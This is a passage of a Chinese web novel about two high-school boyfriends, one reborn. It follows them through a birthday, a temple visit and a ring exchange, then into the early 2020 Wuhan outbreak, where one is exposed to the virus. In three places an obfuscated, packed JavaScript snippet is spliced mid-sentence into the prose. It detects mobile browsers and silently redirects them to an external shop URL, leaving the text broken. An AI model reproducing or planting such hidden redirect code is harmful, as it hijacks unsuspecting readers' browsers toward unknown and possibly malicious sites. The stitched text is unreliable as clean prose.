;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196414|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便穿衣服边道:“嘉嘉你慢点走,我马上到!” 乌嘉听着电话那头一顿乱响,然后通话就中断了,他收起手机,往口袋里一揣,发现口袋里有什么温暖的东西。 他拿出来一看,是一个小小的暖手宝,再加上出门前乌常辉叭叭叭往他身上贴的暖宝宝,站在寒风中的乌嘉不仅不觉得寒冷,反而有些发汗。 把脸往白色的羽绒服里缩了缩,随后慢慢朝着那个岔路口走去。 即使乌嘉走得再慢,这段路也就这么一点远,所以他还是等了几分钟,才看到傅星在道路尽头出现。 那个黄色的身影越来越近,傅星的身影也越来越清晰,暖黄色的大衣被北风吹起些许,乌嘉盯着奔跑而来的傅星,忽然猛地一震。 大雪倾盆,刺骨的寒风,可怕的病痛,还有……那个穿着黄色大衣的男人。 前世的记忆忽然在脑海中浮现,乌嘉想起了在那个天桥底下濒死的乌甲,就在他以为自己要孤独死去时,出现了那个黄色的身影,那个人毫不犹豫的在大雪中脱下了外套,盖在了他身上。 模糊的人脸在此时慢慢变得清晰了起来,最后……和眼前的傅星重合在了一起。 乌嘉的眼泪忽然就掉了下来。 傅星当场就吓到了,他不知所措的抱住乌嘉,心疼得揪了起来。他低头去吻乌嘉的眼角,边吻边柔声道:“嘉嘉,你怎么了……” “……天哪,宝贝别哭了……哭得我心都痛,是谁欺负你了?还是等我等太久了?委屈哭了?” 傅星从来没有见到乌嘉哭成这样过,哭得他胸口发闷,哭得他心碎难忍。说着说着,他自己声音也哑了,忍不住抽噎了一下,眼看也要落泪。 乌嘉终于缓过来了一点,他摇摇头,擦干眼泪道:“没人欺负我,也不是委屈,就是……” 还没说完,乌嘉鼻子一酸,又要落下泪来。 他一直一直很抗拒回想,回想那悲惨的前世,回想那彻骨的痛意,还有那绝望的孤独,那是可以轻易吞噬掉他的梦魇,那是所有人都看不到的伤疤。 傅星是第一个察觉到这条伤疤的人。 虽然他依旧是看不到乌嘉内心深处的黑暗,但他就是能凭空触碰到乌嘉的过去,他就是可以通过蛛丝马迹察觉到乌嘉的心结,并用他自己的方式一点点帮乌嘉解开,一点点抚平,最后用自己的身躯将乌嘉心口的空缺填满。 他像是上天派来拯救乌嘉的星星。 星星的光照到了残缺的月亮,吸引走了月亮全部的视线,月亮因为星星的光而有了变圆满的勇气。 等月亮终于变得圆满后,忽然发现,那些渺小的繁星原本就是和太阳一般热烈的恒星,和太阳一样,赐予过他光芒的恒星。 原来傅星早在不认识乌嘉时,就用自己的温柔拯救了他,在前世那个雪夜中脱下的外套,是乌嘉唯一敢想起的前尘,是他最值得铭记的温暖。 傅星拯救了他悲惨的过去,又引他走向了幸福的未来。 “……我怎么才认出你呢?”乌嘉捧起傅星的脸,颤声喃喃。 傅星眼眶一红,哽咽道:“你别是哭傻了吧……” 乌嘉破涕而笑,但傅星却忍不住了,他呜得一声哭了出来,眼泪一串串往下掉,鼻尖都哭红了。 “嘉嘉哇……我好难过,你到底怎么了……哇……” 乌嘉含着泪笑道:“你哭起来好像青蛙。” 傅星鼻涕都哭出来了,他边哭边笑的抱住乌嘉嗷:“你还笑我……我都吓死了哇……” 还好因为天气太冷了,又是早上,路上一直都没什么行人,要不然被人看到两个人抱在一起又哭又笑的,估计得以为是疯子。 等两人都哄好了对方后,终于是可以正式出发了,他们去街口买了三鲜豆皮,吃完后又一起上了地铁,出了地铁后,乌嘉看到了一座风景秀丽的小山,山顶隐隐有红瓦露出。 两人牵着手开始爬山,爬着爬着,乌嘉忽然回头看向傅星,他眼中闪着光,慢慢开口道:“星星,我跟你讲个故事吧……” 21. 你说是我救了你 “明明他没有认出那个在雪夜里拯救过他的少年,但却在第一次见到他时……” 乌嘉看着泪眼汪汪的傅星,声音一哽,说完了最后一句话:“……说出了那句,上辈子没能说出口的‘谢谢’。” 乌嘉对傅星说的第一句话,就是“谢谢”,他们的缘分就好像都注定好了一般,即使两不相知,却在冥冥之中都走到了最合适的轨迹。 两人一高一低,牵手站在山梯上,在乌嘉说完的那刻,傅星便跨步而上,拥抱住了乌嘉。 傅星抱住乌嘉,闷声道:“我本来不怎么信神,但现在……不得不信了,多亏了有他,把你送到我身边。” “你说,是我救了你,但其实……你也救了我。” 没等乌嘉问,傅星便继续道:“我三年级不是转学过来的吗?我转学的原因……” 傅星从小就出挑,无论是长相还是成绩,都班上的拔尖者,嘴巴也甜,既讨老师喜欢,又受同学欢迎。 但不是所有的同学都喜欢他,有几个小孩就不喜欢傅星。 他们总喜欢到处欺负人,傅星也早就被他们盯上了,他们打不过傅星,便开始在言语上欺凌他,不停的给他取外号,因为傅星比同龄人高大的外表,那些人嘲笑他是一个又傻又壮的猩猩。 傅星从小就是一个思想简单的人,单纯的人总会被直白的恶意伤害,他很难过,回家便对家里的傅钦和赵灵发了脾气,并且不准他们再叫自己“星星”。 傅钦和赵灵发现了不对,便很快去调查了,最后一致决定给傅星转学,也尊重傅星的意见,不再叫他“星星”。 直到……遇到了乌嘉。 他永远忘不了乌嘉认真对他说:“挂在天上闪闪发光的星星,只会让人觉得很温暖吧。” 傅星那时才明白,同一样东西,有些人看出的是恶意,有些人看出的却是美好,坏的从来不是那样东西,而是那些饱含恶意的目光。 那天之后,傅星再没有抗拒过这个称呼,也不再芥蒂那些过往。 “那我们都是很棒的人。” 乌嘉笑了,他凑上前亲了一下傅星的嘴角,温柔道:“我们都为能拥有彼此而幸运。” “是的!”傅星笑着说。 两人亲昵了一会,便相携继续爬山,越往山顶气温越低,好在这座山不高,两人很快就到了目的地。 乌嘉看着这座清雅的寺庙,愣在了原地。 “我本来只是想带你来看看风景,顺带拜一下神。” 傅星的手正揣在乌嘉温暖的口袋里,他神情一凛,继续道:“但现在……不能是顺带了,我们虔诚一点,多拜拜吧。” 两人踏进古寺,院内香火味很浓,乌嘉很喜欢这个味道,他感觉自己周身都轻松了不少,爬山带来的些许疲惫也一扫而空。 傅星一进来就马上去买了最贵的香烛,他拿着几乎有碗口粗的三柱香过来时,乌嘉直接愣在原地。 “这……点得着吗?”乌嘉迟疑道。 傅星道:“问过了,等下师傅帮我们点。” “好吧……” 在殿前香炉上完香,两人便走进了神殿之中,随着坐在殿侧的道长轻敲磬口,悠扬的声音好似唤醒了神明,两人虔诚的跪在蒲团中,对神像磕了三次头。 殿中还可以求签,傅星拉着乌嘉兴致勃勃上前,年老的道长拿出签筒,给傅星摇出一支签。 “第五十三签……我看看啊……中中,人事升沉如日月,循环不息自流行;若非一理周行便,羁滞何能得化生。” 道长念完签,抬眸看了一眼两人,半晌没有说话。 傅星的微笑僵在脸上,这是什么意思,他语文不好,这几个字好像他都认识,在组在一起怎么那么微妙呢。 乌嘉看着签文,眉头微皱,他看向道长道:“道长,您知道这是什么意思吗?” 道长摇头没有说话,他在抽屉里掏了掏,拿出两条写了符字的红布条,递给两人。 “这是什么?”傅星接过布条,好奇道。 道长这才开口道,“祈愿带,送给你们的,在这里写上日期和名字,然后去后院许愿吧。” 傅星愣愣的点头,认真的写下“2019.12.28傅星”,随后掏出十元现金递给道长,因为这里写了一签十元。 道长依旧摇头,拒绝了傅星给的钱。 “此签无解,不收钱。” 两人走到后院,看到一颗系满红带的树,乌嘉此时表情还有些怔愣,他总觉得刚才那个道长的态度怪怪的,但或许修行之人就是这样的,还是别想太多了。 傅星和乌嘉将红带系好后,都合掌闭目开始了许愿。 许完愿的那一刻,乌嘉听到傅星惊呼出声:“嘉嘉,下雪了!” 乌嘉睁眼,看到了空中飘下的雪花,雪花不停的打转,最后落在了他刚系好的红带上,慢慢融化了。 傅星跳着去接空中的雪花,笑得一如往昔,热烈又肆意。 乌嘉失笑道:“别跳了,很滑。” “哇,这雪下得真大。” 傅星看着逐渐变得密集的雪花,呆了一下,但很快他就反应过来,如临大敌道:“嘉嘉,我们快走!” “嗯?”乌嘉被傅星拉着跑,他看着眼前奔跑的黄色身影,忧心道:“慢点,别摔了。” 傅星急急道:“我们得快点下山,等下路就被雪盖住了!” 乌嘉后知后觉道:“对哦,那我们赶紧走。” 没走两步,傅星又停了下来,转过身看向乌嘉,脸上不复着急,而是满满的郑重。 乌嘉微带疑惑道:“怎么了?” “还有一件很重要的事。” 只见傅星顶着一头雪花,掏出了一个盒子,然后从盒中拿出两枚戒指,他的脸很红,不知是冻得还是害羞,他牵起乌嘉的手,缓缓将一枚戒指给他戴到了中指上。 “无名指的,等我几年好吗?” 傅星这次少有的没有说一堆话,漫天的雪花让人眼花,但傅星却盯着乌嘉,眼睛都不舍得眨一下,只听他一字一句道:“生日快乐,我爱你。” 看着就连睫毛上都落了雪花的傅星,乌嘉泪眼婆娑,他带着哭腔道:“可我今天真的不能再哭了。” “是呢,别哭,等下别被冻上了。”傅星笑着伸手去擦乌嘉眼角的泪。 乌嘉抬手握住傅星给他擦泪的手,那只手被冻得通红,但乌嘉还是感受到了无边的暖意。 他从傅星手中拿过另一枚戒指,神情认真的戴到傅星中指上。 “我爱你,不是因为你爱我而爱你,而是我生来就只会爱上你。”乌嘉说完,捧起傅星的脸,虔诚的吻了上去。 漫天大雪倾泻而下,将在雪中接吻的两人淋了个透彻,但他们依旧不舍分开,只愿时间能停在此刻。 等两人快到家时,雪已经下了一层了,乌嘉远远的便瞧见了站在门口等候的两人,隔着大雪冲他们招手,宋玉温喊着:“慢点走!地上滑!” 乌嘉没有听清,便转头去问傅星,傅星想了想,猜道:“阿姨说让我们快点回?外面冷?” 乌嘉点头,下意识加快了脚步,这就导致了他还没走到门口,就在院里嗖得滑倒了。傅星反应很快,一下子接住了他,但奈何雪地太滑,最后两人还是齐齐都躺倒在了地上。 乌常辉和宋玉温赶紧过来扶人,边扶还边道:“不是让你们慢点吗?” 幸好两人穿的厚,地上的雪也厚,并没有摔到哪里,只是傅星看上去有些摔傻了,一直笑个没停。 “快点回,外面冷,慢点走,地上滑哈哈哈哈哈哈……” 乌嘉也忍不住笑了,一行人走进温暖的家后,都长长的呼出了一口寒气。 乌嘉看着布置一新的家,还有桌上摆好的蛋糕后,不由的愣住了。 他好像知道为什么今天早上爸爸妈妈要那么早把他送出门了。 傅星脱下外套后,惊叹道:“叔叔阿姨,不知道的还以为你们重新把家装修了。” “哈哈哈星星就是会说话。”宋玉温笑着继续道,“怎么样,玩得开心吗?” “很开心。”乌嘉接过话,弯起的嘴角就没有落下过。 乌常辉已经在点蜡烛了,他笑着招呼几人:“开始了开始了,嘉嘉快过来许愿。” 乌嘉戴上生日帽,在三个最爱他的人注视下,许下了一个愿望。 希望我们的愿望都能实现。 许完,他就睁开眼,吹熄了蜡烛。 蛋糕是乌常辉和宋玉温亲手做的,味道很好,一个不大的蛋糕刚好填饱了四个人的胃。 吃完蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196415|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,几人开始收拾残局。 等忙完,外面已经几乎被雪完全盖住了,傅星眼睛迸光,看着傅星跃跃欲试的模样,乌嘉无奈一笑,去把外套重新穿上了。 两人穿好外套后,发现宋玉温和乌常辉也换好了衣服,宋玉温带着手套围巾满脸兴奋:“玩雪!玩雪!” 乌常辉则拿着一堆工具,什么小黄鸭架子,铲子,还有堆雪人要用的红枣胡萝卜……一应俱全。 傅星感慨:“叔叔阿姨真是不打没有准备的仗。” 一行人出门后,便被这满目的白色震撼到了,乌嘉还没反应过来,就遭到了傅星一个雪球的攻击,他果断下场,抓起一把雪就去追傅星。 宋玉温穿得最厚,不太行动,所以没有参与两个少年的战争,而是提着小桶去一旁堆雪人,乌常辉则是笑呵呵的帮宋玉温滚雪球。 但傅星和乌嘉战况过于激烈,很快便波及到了两人,宋玉温看着自己刚塑好的雪人被不知道哪里飞来的雪球打塌,雪还飞了她一脸,忍无可忍的喊道:“老公!帮我报仇!” 乌常辉向来做事利落,闻言就将手上刚滚好的半人高的雪球高高举起,朝离他最近的傅星丢了去。 傅星整个人都被砸懵了,他几乎成了一个雪人,哪哪都是雪,难以置信的开口:“不是我丢的!” 乌常辉的眼神落在傅星中指那一点闪光上,不自然的摸摸鼻子道:“谁叫星星离得近呢。” 他绝对没有报私仇的嫌疑。 乌嘉拿着雪球站在远处笑得直不起腰来,刚才那个雪球确实是他不小心丢过去的。 他的中指上有相同的一道光泽,全都落入了乌常辉眼里。 真是的,早恋也不知道收敛一点,乌常辉看着笑得肆意的乌嘉,也无奈的笑了,随即他低头再度团起雪球,团好后装似要朝乌嘉扔过去。 乌嘉下意识就是一躲,但预料中的雪没有砸过来,反而是傅星又发出一声惨叫。 乌常辉淡定拍手:“这叫声东击西。” 宋玉温哈哈大笑:“星星好惨啊哈哈哈哈哈哈……” 傅星抖了抖一身的雪,大喊:“是可忍熟不可忍!” 然后便抓起身上的雪打算反击,没想到身后的乌嘉忽然又一个雪球砸了过来,傅星彻底震惊,最后局面变成了二打一。 最后,宋玉温的雪人完工了,但比这个雪人还更像雪人的是……坐在雪地里满眼麻木的傅星。 乌嘉笑着帮他扒下一层层雪,宋玉温则笑呵呵的给傅星拍照,然后将图片全都发给了赵灵,赵灵很快回复:“这雪人堆得真不错。” 宋玉温:这是你儿子[微笑] 赵灵:? 回家后,乌常辉给乌嘉和宋玉温一人泡了一包感冒灵,然后心虚的单独傅星泡了两包,几人抱着热乎乎的感冒灵,喝得惬意,只有傅星还是呆呆的。 晚餐,乌常辉准备了火锅,一家人热热闹闹吃完后,早早的各自休息去了,感冒灵的药效上来,弄得每个人都有些困乏。 傅星抱着乌嘉的手臂躺在床上,困得直打哈欠,但他没舍得那么快睡着,因为和乌嘉睡在一张床上的机会着实少得可怜。 他迷迷糊糊开口:“嘉嘉,你今天开心吗?” “开心,很开心。”乌嘉没有傅星那么困,认真回答了他的问题。 傅星眯着眼笑了:“开心就好,我也很开心嘿嘿嘿……” 他困得眼皮打架,但还是不舍得睡着,他思考了一下,然后又道:“嘉嘉,你今天在寺庙里许得什么愿望啊?” 乌嘉道:“我希望,神也能过得幸福。” 傅星一下子就清醒不少,他看向乌嘉道:“嘉嘉,你居然不许愿我们要永远在一起。” 乌嘉浅笑道:“我知道你一定会许这个愿望的,所以我就没有许了。” “好吧……你猜对了。”傅星继续道:“那你为什么要许这个愿望呢?” 乌嘉沉思了一下,然后道:“我想谢谢帮我送到这里的神,所以希望他也可以像我们一样幸福,还有……” “……我祝愿了神,那神应该就会更乐意实现你的愿望了。” 傅星盯着乌嘉,眼中满是震惊:“嘉嘉,你太聪明了,你这是给了神一个人情啊!” 乌嘉失笑:“哪有这样夸张……” 22. 这都是我的错 一大早,大家就陆陆续续的起床了,今天乌嘉和傅星还要返校,所以早点起床收拾东西,因为下雪天路滑,他们不打算再让乌常辉开车送他们,而是打算自己坐地铁走。 “……确诊四例,29日……” 电视上在播报早间新闻,厨房里乌常辉在榨豆浆,嗡嗡盖过了电视的声音,很快,早餐摆上了餐桌,早间新闻也结束了。 “嘉嘉和星星等下出门的时候都要多贴几个暖宝宝,外面可冷了。” 因为过两天就是元旦节,乌嘉又会回家,所以这次宋玉温伤感不多,只是一直叮嘱:“走路注意安全,慢一点,别又摔了。” 乌嘉和傅星咬着油条,同步点头,傻愣愣的模样看得宋玉温直笑,又拿出手机拍下照片,发给了赵灵。 但这次赵灵没有秒回,可能是在忙。 吃完早饭后,两人稍稍休息一下便出门了,外面又盖上了一层新雪,整个世界都在莹莹发光,两人牵着手走得格外小心,几乎是挪到了地铁站。 等终于到了公寓,已经是中午了,两人点了外卖,一起吃完后,便开始补作业。 “好多……”傅星看着语文作业,深深皱眉。 乌嘉作业在学校就完成得差不多了,一会功夫就补完了,他坐在傅星床上看电影,顺带陪傅星写作业。 “看着多,其实都不用怎么动脑子。”乌嘉安慰道。 傅星提笔开写,难过道:“我宁愿他是要我动脑子的,只要不用我写那么多字。” “加油,你可以的。” “嘉嘉……”傅星又开始撒娇。 乌嘉无奈的放下手机,坐到了傅星身旁,耐心哄着他写作业。 学校是31号晚上才放假,所以两人要元旦节当天早上才回家,傅星对此很满意,因为这样他就可以和嘉嘉两个人一起跨年了。 他们放学后,便去超市买了一点零食,傅星还拿了一瓶低度数的酒,两人提着一袋东西,欢欢喜喜的回了公寓。 快到零点的时候,傅星把灯关了,拉着乌嘉坐到落地窗前的地毯上,打算观赏满城的烟花。 可在所有烟花都亮起的那一刻,两人都没有去看烟花,而是看向彼此,同时开口:“新年快乐。” 乌嘉因为喝了一点酒,脸颊和眼尾都是微红的,傅星看了一会,然后毫不犹豫的吻了上去,外面的烟花争相绽放,两人吻得难舍难分。 乌嘉本沉醉于这样的纠缠中,却被背后的凉意刺激得一抖,傅星吻得温柔了些,像是在安抚他。乌嘉脑子迷迷糊糊的,便也没有抗拒,两人拥抱的愈发密切,乌嘉也颤抖得厉害,不知过了多久,两人才喘着热气分开。 随后,浴室的亮起。 第二天,乌嘉是在傅星怀里醒来的,他慢慢清醒后,脸毫无疑问的红了起来。 虽然也没多大进展,两人在最后关头都克制住了,但是到这个程度对于乌嘉来说已经是违规了,还是大违规,他辜负了叔叔阿姨的信任。 想到这,他不由瞪了身旁睡得正香的傅星一眼,真是……蓝颜祸水。 外面的雪还未化尽,乌嘉依旧没让乌常辉来接,在两人收拾妥当准备出发时,赵灵的电话也打了过来。 傅星掏出手机,接了电话。 乌嘉的目光落在他手机壳后那两句他手写的诗词上,傅星换了很多个手机壳,但这张乌嘉写出的便签纸却一直没损坏。 “……OK,明白了。” 傅星放下手机,冲乌嘉一撇嘴,委屈道:“嘉嘉,我又要一个人过节了。” 乌嘉眉头一皱,搂住傅星道:“叔叔阿姨还是回不来?” “嗯呐……”傅星其实并不觉得多委屈,他只是想向乌嘉撒娇。 乌嘉心疼的揉揉傅星的头,安慰道:“那就跟我回家吧,我们一起过节吧。” “嗯!” 两人回到家后,午饭刚好做完,宋玉温和乌常辉早就得了消息,对于傅星的到来表达了热烈欢迎。 餐桌上,宋玉温正刷着手机,她拧着眉毛开口:“好像最近那个流感蛮严重的,难怪赵灵他们一直在忙,不知道会不会传染哦。” “多注意点不会错,嘉嘉,明天你们回去的时候记得戴上口罩。” 乌常辉叮嘱完,又给宋玉温舀好一碗汤,然后道:“先吃饭,别看手机了。” 乌嘉道,“对了,我们学校通知下来了,20号正式放寒假。” “20号啊……我看看,哎呀,星期一,嘉嘉你们得自己回来了。”宋玉温遗憾道。 傅星道,“没事,把东西提前送回来就好了。” 乌嘉点头附和:“是啊,反正也还要回来几趟的。” 几人刚吃完饭,敲门声就忽然响起。 乌常辉打开门一看,是风尘仆仆的赵灵和傅钦,他意外道:“不是说赶回不来了吗。” 赵灵看上去没有以往那么精致了,但姣好的面容依旧是掩盖不住。 傅钦则看上去沧桑不少,连胡子都没剃干净,他笑道:“就一下午的空闲,来坐一下就又得赶回去了。” “那么忙啊……”宋玉温惊道:“今天可是元旦诶。” 赵灵无奈一笑道:“没办法,能力越大责任越大,毕竟医院是我家开的,事情自然大多都落在我们身上了。” “这样啊,是最近那个流感吗?很严重吗?”宋玉温忧心道。 赵灵摇头道:“暂时不清楚,不过还是要注意一点,最近还是别往人多的地方去,口罩也记得戴上。” 说完,赵灵看向自己被滋润得红光满面的好大儿,揶揄道:“你看上日子过得不错啊。” 傅星谦虚道:“是叔叔阿姨还有嘉嘉养的好。” “你也好意思。”赵灵挑眉。 傅星面不改色:“这不是遗传的你们吗。” 宋玉温哈哈大笑:“就喜欢看你们斗嘴,跟小品似的哈哈哈……” 热闹了一下午后,赵灵和傅钦又匆匆离去,傅星目送他们离开,虽然面上不显,但眼神还是暗淡一些。 乌嘉察觉到了什么,便在他身旁开口道:“叔叔阿姨那么忙都赶过来了,就是为了来看看你。” “是的,怕我被叔叔阿姨发现对你意图不轨,然后被活活打死。”傅星掩去失落,满脸认真道。 所以他们才常来乌常辉和宋玉温面前刷刷好感度,以后发现了也会手下留情。 乌嘉:“……真有远见。” 日子一天天过去,之后赵灵和傅钦好像越来越忙,已经快一个星期没有再联系傅星,傅星刷着手机,看着新闻上的新型冠状病毒几字,深深皱起了眉头。 乌嘉看着傅星担忧的模样,心也不自觉揪了起来,他抱住傅星道:“没事的,我会一直陪着你。” 很快就到了放寒假当日早上,傅星和乌嘉早早就戴上了口罩回家,地铁上的小屏幕还在滚动着新闻,乌嘉看着那些新闻,心底越来越不安。 “截至1月20日,累计报告217例,死亡6例。” “……接受采访,确认人传人……” 傅星好几天都没睡好觉了,此时正靠在他肩上睡着了,乌嘉伸手将他的围巾掩好,眼中满是心疼,一定……会好起来的。 下了地铁后,傅星忽然接到了傅钦的电话,电话里,傅钦的声音听上去有些疲惫,语气也没有半分往日的诙谐。 “……知道了,我马上到。” 傅星放下手机,对满目担心的乌嘉道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196416|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我爸妈让我送点东西去医院,你先回家吧……” “不行!” 乌嘉想都没想就拒绝了,他反应过后,接着道:“我和你一起去吧,我不放心你一个人去,然后我们再一起回家。” 傅星皱起眉道:“可是……” 乌嘉拉起傅星的手,口罩上的一双眼中满是认真,他道:“我们一起去,然后一起回家,好不好?” 傅星犹豫片刻,还是点头了:“走吧,我们先回家穿好防护。” 傅钦让傅星拿的是一些生活用品和资料,傅星找了一个纸箱放好,随后放到了一个推车上,拉着穿好防护的乌嘉出了门。 他们家医院其实很近,走路十几分钟就到了,傅星和乌嘉快到大门口时,就被医院门口的乱相震撼住了。 “医生!有没有医生!” “求求你们了……给个病床给我们吧……” “……真的没有病房了,药品还在路上,你不要急,我们不会放弃你们任何人……” “……医生来了!都让一下……” 乌嘉扭过头,眼眶红了,傅星沉默了一会,带着乌嘉转身了,他哑声道:“我们走后门吧。” 大门处,一个还没拿到药品的人,忽然看到了两个离开的背影,又看到那个纸箱上有医院的标签,便悄悄跟了上去。 傅星带乌嘉来到了地下停车场,绕到内部电梯处,按下了上行按钮。 就在这时,异变突起,傅星反应很快,一下子就护住了乌嘉。 那人看上去很是有些虚弱,还伴随着咳嗽,但由于动作不稳,一下子就扑到了两人面前。 “咳咳咳,抱歉……”那人抓着傅星的腿,虚弱道歉。 傅星下意识扶了那人一把:“没事。” “咳咳咳!” 或许是岔了气,那人猛地咳嗽起来,摇摆的身躯将傅星抓得更紧了,傅星微微蹙眉,就在这时,那人忽然向后仰倒,眼看就要砸到乌嘉身上。 傅星瞳孔一缩,迅速拉开乌嘉,自己却被那个人扑了个满怀。 空旷的停车场中,凌乱的响声平息,只剩下短促的咳嗽,纸箱里的东西散落一地,乌嘉怔愣的看着傅星,眼中满是惊惧。 傅星的口罩……掉下来了。 叮—— 电梯到了。 那人咳了一阵就缓了过来,径自起身离开了,乌嘉冲过去要扶傅星,却被傅星喊住。 “嘉嘉,等一下。” 傅星眼中满是冷静,一边思考着,一边抬手拦住乌嘉。 然后他就被乌嘉强行抱了个满怀,他眼中满是惊诧,随后立马反应过来,快速将口罩重新戴上。 乌嘉的声音有些颤抖:“星星……我们先上去,检查一下,应该没那么容易传染的……” 像是在安慰自己,乌嘉一遍遍重复着,并且扶起了傅星。 站起来的傅星摸了摸他的头,轻声道:“没事的,我不会有事的。” “我们快点上去!” 乌嘉着急忙慌将一地东西收拾好,拉着傅星进电梯,急急道:“我们快!快让叔叔阿姨带你去检查,走!” 傅钦一得到消息,便匆匆将两人分别推进检测室,他坐在检测室门口,眉间难掩疲惫,低着头茫然的喃喃道:“不该让他来送东西的……” 乌嘉没有密切接触,所以做的检测项目较少,他在傅钦身旁坐下,低声道:“星星是为了保护我才……叔叔,是我的错,我不该跟过来的……” 傅钦愣了一下,随后抬头,隔着防护看向乌嘉开口,声音闷闷的:“不是你的错,我知道,你是不放心,还有……” “……要是换做你赵阿姨要一个人来这里,我也会不放心的。” 23. 哭不是结局 傅钦没有多少时间休息,他很快又离开了,离开前,他让乌嘉先到顶楼的院长休息室进行自我隔离,等确认没有被感染,会叫人送他回家。 至于傅星……傅钦说,他会在另一个地方隔离,那里是密切接触者的隔离区。 2020年1月21日,累计报告440例,死亡9例。 手机里,宋玉温已经哭得喘不上气,就连一直冷静的乌常辉也是声音颤抖。 乌嘉脸色很差,但并不是身体不舒服,他强撑着语气道:“爸爸妈妈,我真的没事,初步结果已经出来了,我大概率没有被感染,马上就可以回家了。” 宋玉温崩溃道:“……大概率!也就是说还是有可能被感染……” 乌常辉哑声叮嘱道:“一定要照顾好自己,听傅叔叔他们的话,还有……星星会没事的,你也别太担心他。” 乌嘉听到这,眼眶也是一红,傅星虽然一直和他发消息说自己没事,但确切的检测结果还是一直没有出来,也没有其他人能告诉他傅星的消息,他心中的不安越来越多。 “……嘉嘉,一定要平安回家,爸爸妈妈都等着你。” 挂断电话,乌嘉又去给傅星发消息,他眉头紧紧皱着,眼眶也是红得吓人,他很害怕手机那头的傅星突然就不回消息了。 星星:放心……我没事,没有任何不良反应,别太担心啦。 乌嘉:那可以拍一张你的照片给我看看吗?我想你了 另一边的傅星,轻轻咳了一下后,爬起来整理了一下自己仪容仪表,对着镜头笑得很开心,给乌嘉发了过去。 乌嘉看到精神看上去不错的傅星,悬着的心放下来些许,他继续打字:一定要好好隔离,我们要一起回家。 傅星拿着手机,给乌嘉回道:好~我也很想嘉嘉[亲亲] 发完消息,一个穿着防护服的人推门而入,傅星一眼就认出这个遮得严严实实的人是赵灵,他一笑:“终于见到你了,赵女士。” 赵灵手都在颤抖,她强撑着没哭,看向躺在病床上的儿子,开口道:“儿子,你相信妈妈吗?” “信,一直都信咳……” 傅星轻轻咳了一下,他握住赵灵戴着手套的手,认真道:“我会和这里所有的病人一样,相信你,等着你把我们治好,然后……我们一起回家。” “妈妈,我很久没吃过你做的饭了。”傅星浅笑道。 赵灵突然侧目,不让傅星看到自己的眼泪,傅星也没有说话,就静静等待赵灵的回答。 良久,沙哑的声音响起:“……下回让你吃个饱,还要带上嘉嘉,叫上你宋阿姨乌叔叔,我们一起吃大餐。” 傅星点头,灿然一笑:“好。” 赵灵很快就离开了,傅星又慢慢咳了起来,在无人的病房中,他抓着手机,看着手机壳后的那两行字,眼眶慢慢的红了。 2020年1月23日,累计报告830例,死亡25例。全城封锁。 乌嘉发现傅星回消息变慢了,但他已经不敢乱想了,他安慰自己,或许只是……他累了,没看手机,哪怕是傅星嫌他烦了也行,只要不是,只要不是…… 他忍不住又哭了,这三天里,他哭过很多次,每次都不是为了他自己,他甚至开始疯狂的回忆前世的事情,他后悔没有早点知道会发生这些事,如果他早知道……或许就可以改变什么,或许就不会变成现在这样。 但是前世的他,又聋又哑还是半瞎,他只依稀记得,有一段时间,所有人都戴着口罩,然后,然后…… 他什么都记不起来,他也什么都不知道,他只能无能的看着惨案一次次发生。 2020年1月24日,累计报告1287例,死亡41例。除夕夜。 宋玉温看上去憔悴了不少,她举着手机,将桌上的菜一道道展示给乌嘉看,她边展示边说:“你爸爸做了一下午呢……” 乌嘉轻声道:“一定很好吃,你们替我多吃一些。” 宋玉温眼眶一红,颤着声音道:“好……” 乌常辉接过手机,他对手机里的乌嘉道:“你傅叔叔说,再过两天你就可以回家了,到时候……我和妈妈一起去接你。” 乌嘉点头,强笑道:“好,我知道了。” “星星……” 乌常辉说到这,顿了一下,然后道:“傅叔叔他们可是医院的最高层,他们一定不会让星星有事的,他一定会没事的。” 乌嘉到这,鼻子是下意识的一酸,他不自然的移开目光,然后急急道:“……好,爸爸妈妈你们吃饭吧,拜拜。” 电话挂断,宋玉温终于哭出了声,乌常辉抱着宋玉温,也是眼眶通红,一桌热气腾腾的年夜饭,一直到热气散尽,也没人吃一口。 2020年1月25日,累计报告1975例,死亡56例。 傅星正在和乌嘉打语言电话,他絮絮叨叨的说话:“……我的孩儿们忘记拿回来了,虽然他们早就掉进土里了,但那个花盆也有非比寻常的意义,居然忘记带回来了。” 乌嘉眼眶通红,对手机轻声道:“我们到时候一起去拿。” 那边傅星好像顿了一下,乌嘉神情一变,不安的呼唤:“星星?” 傅星的声音很快就响起,他说:“……好,对了,嘉嘉你是明天回家吧,叔叔阿姨会来接你吧。” “会来。” 